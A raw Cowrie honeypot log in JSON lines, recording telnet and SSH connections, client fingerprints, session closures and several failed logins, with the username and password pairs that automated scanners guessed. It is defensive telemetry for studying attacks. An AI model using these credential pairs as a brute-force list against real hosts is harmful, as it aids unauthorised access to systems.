{"eventid":"cowrie.session.closed","duration":56.71015906333923,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:46.855767Z","src_ip":"38.54.119.93","session":"f6b4565a3846","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":40640,"dst_ip":"10.17.0.5","dst_port":22,"session":"06680597061f","protocol":"ssh","message":"New connection: 94.156.152.18:40640 (10.17.0.5:22) [session: 06680597061f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:47.856323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:47.861761Z","src_ip":"94.156.152.18","session":"06680597061f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:47.989394Z","src_ip":"94.156.152.18","session":"06680597061f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QUEENVPS4VCPU8GBAMD","message":"login attempt [root/QUEENVPS4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:48.378543Z","src_ip":"94.156.152.18","session":"06680597061f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:49.511381Z","src_ip":"94.156.152.18","session":"06680597061f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54264,"dst_ip":"10.17.0.5","dst_port":23,"session":"9158c45f19c0","protocol":"telnet","message":"New connection: 62.210.97.77:54264 (10.17.0.5:23) [session: 9158c45f19c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:49.859653Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54266,"dst_ip":"10.17.0.5","dst_port":23,"session":"753b73e912d6","protocol":"telnet","message":"New connection: 62.210.97.77:54266 (10.17.0.5:23) [session: 753b73e912d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:50.029143Z"}
{"eventid":"cowrie.session.closed","duration":41.397398710250854,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:55.357369Z","src_ip":"165.232.131.181","session":"34b02973de99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.3415904045105,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:57.203947Z","src_ip":"38.54.119.93","session":"12de24811ffb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":35664,"dst_ip":"10.17.0.5","dst_port":23,"session":"65c84e7adf2c","protocol":"telnet","message":"New connection: 38.54.119.93:35664 (10.17.0.5:23) [session: 65c84e7adf2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:57.769895Z"}
{"eventid":"cowrie.session.closed","duration":62.071908950805664,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:58.453777Z","src_ip":"49.88.156.34","session":"97c3b41a9758","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.0934841632843,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:21:01.079469Z","src_ip":"62.210.97.77","session":"7a70cf2468cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":32874,"dst_ip":"10.17.0.5","dst_port":23,"session":"47ec2c1b9fc3","protocol":"telnet","message":"New connection: 62.210.97.77:32874 (10.17.0.5:23) [session: 47ec2c1b9fc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:21:03.097493Z"}
{"eventid":"cowrie.session.closed","duration":7.414242267608643,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:21:05.183993Z","src_ip":"38.54.119.93","session":"65c84e7adf2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":46310,"dst_ip":"159.203.135.109","dst_port":22,"session":"64591f4e6341","protocol":"ssh","message":"New connection: 181.234.2.36:46310 (159.203.135.109:22) [session: 64591f4e6341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:21:05.266337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:21:05.272400Z","src_ip":"181.234.2.36","session":"64591f4e6341","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:21:05.367020Z","src_ip":"181.234.2.36","session":"64591f4e6341","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123","message":"login attempt [ftpuser1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:21:05.771070Z","src_ip":"181.234.2.36","session":"64591f4e6341","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.185.24.228","src_port":43716,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ca48082f2b0","protocol":"ssh","message":"New connection: 172.185.24.228:43716 (10.17.0.5:22) [session: 8ca48082f2b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:21:06.682401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:21:06.688454Z","src_ip":"172.185.24.228","session":"8ca48082f2b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:21:06.774542Z","src_ip":"172.185.24.228","session":"8ca48082f2b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:21:06.874124Z","src_ip":"181.234.2.36","session":"64591f4e6341","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q1q2q3q4","message":"login attempt [ubuntu/q1q2q3q4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:21:07.130298Z","src_ip":"172.185.24.228","session":"8ca48082f2b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:21:08.217709Z","src_ip":"172.185.24.228","session":"8ca48082f2b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.13408875465393,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:21:09.718663Z","src_ip":"165.232.131.181","session":"01eef2d712dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":58990,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8d182ff1c0a","protocol":"telnet","message":"New connection: 165.232.131.181:58990 (10.17.0.5:23) [session: f8d182ff1c0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:21:16.019808Z"}
{"eventid":"cowrie.session.closed","duration":38.29332733154297,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:21:16.431628Z","src_ip":"65.60.27.33","session":"3c456a066eb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41066,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fbc8d41d352","protocol":"telnet","message":"New connection: 62.210.97.77:41066 (10.17.0.5:23) [session: 7fbc8d41d352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:21:17.812259Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.210.187.8","src_port":44768,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5767b6e58e2","protocol":"telnet","message":"New connection: 38.210.187.8:44768 (10.17.0.5:23) [session: b5767b6e58e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:21:18.118613Z"}
{"eventid":"cowrie.session.closed","duration":36.155489683151245,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:21:21.173295Z","src_ip":"62.210.97.77","session":"fa8ee01148be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.3446888923645,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:21:22.221897Z","src_ip":"62.210.97.77","session":"c12ce82f4ddf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.33473324775696,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:21:22.363777Z","src_ip":"62.210.97.77","session":"753b73e912d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":45664,"dst_ip":"159.203.135.109","dst_port":22,"session":"27ebed82b3fa","protocol":"ssh","message":"New connection: 193.24.211.95:45664 (159.203.135.109:22) [session: 27ebed82b3fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:21:24.150773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:21:24.155625Z","src_ip":"193.24.211.95","session":"27ebed82b3fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:21:24.263946Z","src_ip":"193.24.211.95","session":"27ebed82b3fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.441261768341064,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:21:24.300828Z","src_ip":"62.210.97.77","session":"9158c45f19c0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"kramer","message":"login attempt [root/kramer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:21:24.789514Z","src_ip":"193.24.211.95","session":"27ebed82b3fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:21:25.901101Z","src_ip":"193.24.211.95","session":"27ebed82b3fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59688,"dst_ip":"10.17.0.5","dst_port":23,"session":"f15aa7f5deab","protocol":"telnet","message":"New connection: 62.210.97.77:59688 (10.17.0.5:23) [session: f15aa7f5deab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:21:32.082908Z"}
{"eventid":"cowrie.session.closed","duration":14.01759958267212,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:21:32.136089Z","src_ip":"38.210.187.8","session":"b5767b6e58e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.02374768257141,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:21:36.121110Z","src_ip":"62.210.97.77","session":"47ec2c1b9fc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.75756573677063,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:21:38.895938Z","src_ip":"38.54.119.93","session":"91597b8c0f81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.064427614212036,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:21:52.876534Z","src_ip":"62.210.97.77","session":"7fbc8d41d352","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.08206820487976,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:00.101748Z","src_ip":"165.232.131.181","session":"f8d182ff1c0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42644,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc29e1ea39fc","protocol":"telnet","message":"New connection: 62.210.97.77:42644 (10.17.0.5:23) [session: bc29e1ea39fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:00.659085Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":32928,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebd1215085f3","protocol":"ssh","message":"New connection: 20.203.42.204:32928 (159.203.135.109:22) [session: ebd1215085f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:03.871852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:03.876269Z","src_ip":"20.203.42.204","session":"ebd1215085f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:04.042864Z","src_ip":"20.203.42.204","session":"ebd1215085f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password01","message":"login attempt [user/password01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:04.742558Z","src_ip":"20.203.42.204","session":"ebd1215085f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:05.914812Z","src_ip":"20.203.42.204","session":"ebd1215085f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.979657888412476,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:06.062459Z","src_ip":"62.210.97.77","session":"f15aa7f5deab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.185.24.228","src_port":33938,"dst_ip":"10.17.0.5","dst_port":22,"session":"11dcc60155a6","protocol":"ssh","message":"New connection: 172.185.24.228:33938 (10.17.0.5:22) [session: 11dcc60155a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:06.466525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:22:06.472899Z","src_ip":"172.185.24.228","session":"11dcc60155a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-g